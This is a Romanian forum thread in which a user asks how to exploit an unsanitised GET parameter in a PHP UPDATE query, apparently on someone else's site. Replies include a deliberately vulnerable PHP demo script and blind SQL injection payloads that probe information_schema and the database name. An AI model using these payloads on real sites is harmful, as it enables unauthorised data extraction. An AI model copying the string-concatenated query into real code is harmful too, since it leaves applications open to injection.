Jump to content
danielh

SQL Injection ?

Recommended Posts

Bine v-am g?sit, nu ?tiu dac? este categoria potrivit?, dar na am zis s? încerc.

Deci are cineva un site ?i într-un script are urm?toarea linie

mysql_query("UPDATE tabel SET da=da+1 WHERE link='".$link."'");

Unve variabila $link este

$link = $_GET["link"];

Cum a? putea folosi variabila aceasta ($link) pentru SQL injection ca s? actualizez o înregistrare dintr-un alt tabel ?

Link to comment
Share on other sites

@danyweb09 are perfecta dreptate.

Injectia de mai sus se bazeaza pe ce se intampla intre SET si WHERE.

Query-ul tau pur si simplu updateaza da=da+1 unde link=$link

Daca aveai ceva de genul:


mysql_query("UPDATE tabel SET da=$altaVariabila WHERE link='".$link."'");

atunci puteai executa query-ul de injectie pe variabila $altaVariabila si rezultatele le gaseai unde acea variabile era afisata.

Sa-ti dau un exemplu mai detaliat:

mysql> describe records;
+-------+--------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+-------+--------------+------+-----+---------+----------------+
| value | varchar(255) | YES | | NULL | |
| id | int(11) | NO | PRI | NULL | auto_increment |
+-------+--------------+------+-----+---------+----------------+
2 rows in set (0.00 sec)

mysql> select * from records;
+-------+----+
| value | id |
+-------+----+
| Activ | 1 |
+-------+----+
1 row in set (0.00 sec)

mysql>

Dupa cum poti vedea avem un tabel numit records, cu coloanele value si id.

Value va fi in acest caz $link, iar id va fi simpla coloana din WHERE.

Codul PHP:


<?php

$db = new PDO('mysql:host=127.0.0.1;dbname=test;', 'root', '');

$link = @$_GET['link'];

$query = $db->prepare("SELECT value FROM records");
$query ->execute();
$row = $query->fetchAll();

echo "Valoarea actuala este: <b>".$row[0][0]."</b> injecteaza daca vrei sa schimbi valoarea.<br>";

if(isset($link)){

$queryUpdate = $db->prepare("UPDATE records SET value='".$link."' WHERE id=1");
$queryUpdate ->execute();

$getOutQuery = $db->prepare("SELECT value FROM records");
$getOutQuery ->execute();
$getOutRow = $getOutQuery->fetchAll();

echo "Valorea finala este: <b><font color='red'>".$getOutRow[0][0]."</font></b>";
}

else{

"Nici o injectie, datele raman stabile.";
}

?>

Dupa ce am facut injectia: localhost/a.php?link=Inactiv

Valoarea actuala este: Inactiv injecteaza daca vrei sa schimbi valoarea.

Valorea finala este: Inactiv


mysql> select * from records;
+---------+----+
| value | id |
+---------+----+
| Inactiv | 1 |
+---------+----+
1 row in set (0.00 sec)

mysql>

Sper ca ai inteles cum sta treaba cu injectia din cazul tau. (E 6 dimineata...)

Edited by Moubikx
Link to comment
Share on other sites

Nu, pentru ca exista si in SQL anumite reguli de care trebuie sa tii cont.

Poate ai fi tentat sa crezi ca poti rula 2 query-uri de insert ( presupunand ca ai aflat intr-o oarecare masura structura bazei de date ), dar aici te limiteaza functia din PHP.

mysql_query() sends a unique query (multiple queries are not supported) to the currently active database ...

PHP: mysql_query - Manual

Ce ai putea sa faci, cum spunea si dany, e sa extragi informatii, blind, urmarind efectul update-ului ( daca si ai access la el ).

Ex:


-- update daca exista un tabel 'users' in baza de date curenta
update table set da = da + 1 where link = '$link' and (select count(table_name) from information_schema.tables where table_schema = database() and table_name = 'users')

-- update daca numele bazei de date curente incepe cu litera 'a'
update table set da = da + 1 where link = '$link' and if((substring(database(), 1, 1) = 'a'), 1, 0)

-- ...

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...